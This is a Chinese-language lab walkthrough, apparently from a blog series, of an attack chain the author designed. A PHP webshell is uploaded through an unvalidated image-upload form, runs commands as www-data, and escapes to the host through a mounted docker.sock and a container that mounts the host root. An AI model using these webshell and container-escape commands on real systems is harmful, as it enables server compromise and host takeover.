今天想要展示自己透過 AI 設計一個從 Web RCE 到 Host 整個攻擊鏈的過程,簡單介紹一下情境:
靶標是供 IT 人員採購的購物網站 DevCart,提供「上傳開箱照片」功能。它存在兩個疊加的錯誤:未驗證檔案型別與副檔名,又以原始檔名將上傳檔案存進允許執行 PHP、且可透過網站存取的 webroot 目錄。因此,攻擊者能上傳 PHP webshell,再透過 HTTP 請求觸發執行,以 Web 服務帳號 www-data 的權限取得容器內 RCE。
接著,攻擊者透過容器內枚舉,發現容器掛載了 docker.sock,且 www-data 隸屬具備 socket 存取權的 hostdocker 群組。攻擊者因此能控制 Host 的 Docker daemon,建立掛載 Host 根目錄的新容器,最終取得 Host root 檔案系統存取權,並透過讀取僅 root 可讀的假機密檔案完成驗證。
首先我們來到網站頁面找到可以上傳檔案的頁面

原始碼顯示上傳欄位的 name 是 review_img 說明等等如果要上傳檔案也要指定欄位是 review_img。
用 curl 看看能不能看出這個網站是用什麼(伺服器/語言)架起來的、用什麼寫的。
curl -I http://172.16.12.182:8099

從中我們可以得知,網頁伺服器是 Apache 並且是使用 PHP 撰寫 web app 的。
接著我們嘗試上傳 web shell,因為使用的是 PHP,我們透過 PHP 寫一個後門程式腳本,上傳到靶機裡面。
printf '%s' '<?php system($_GET["c"]); ?>' > /tmp/shell.php
curl -s -F 'review_img=@/tmp/shell.php' http://172.16.12.182:8099/upload.php | grep -o 'uploads/[^<]*'
<?php system($_GET["c"]); ?>
這個指令的意思是,把 HTTP 參數 c 丟給 system() 當系統指令執行。

上傳後,回應內容還告訴了我們檔案被存到哪個路徑。
驗證這個腳本能不能被我們觸發執行:
curl -s 'http://172.16.12.182:8099/uploads/shell.php?c=id'

從這邊可以看到目前我們取得的執行身分是 www-data 而且有一個群組名稱叫做 hostdocker,可以先初步判斷內部環境應該有 Docker 可以用。
因為上一步有看到群組名稱是 hostdocker,這裡先用以下指令檢查有沒有 docker 指令跟 docker.sock 可以用:
curl -s -G 'http://172.16.12.182:8099/uploads/shell.php' \
--data-urlencode 'c=echo [sock]; ls -l /var/run/docker.sock; echo [docker-ps]; /usr/local/bin/docker ps --format "{{.Names}} {{.Image}}"; '

從輸出結果來看,發現可以執行 docker 指令 + 有 docker.sock 可以用,就可以進行最後一步了。
用以下指令建立一個用完就刪掉掛載 host 檔案的容器,並用 chroot 將剛剛掛載的目錄當成根目錄,並找到 crown-jewel 驗證我們可以對 Host 主機的檔案系統進行讀寫。
curl -s -G 'http://172.16.12.182:8099/uploads/shell.php' \
--data-urlencode 'c=/usr/local/bin/docker run --rm -v /:/host ubuntu:22.04 chroot /host /bin/sh -c "echo [host-id]; /usr/bin/id; echo [host-release]; /usr/bin/cat /etc/redhat-release; echo [crown-jewel]; /usr/bin/cat /root/day29-crown-jewel.txt"'

以上就是今天的內容,在設計與實際試驗的過程中讓我額外學到了應用程式的設計錯誤可以說真的收穫不少知識與經驗。感覺自己在設計靶機上面還有很多經驗不足的地方,但很開心今天能夠藉著鐵人賽實際設計一條 Web 攻擊路徑。
感謝大家的收看,我們明天最後一次見!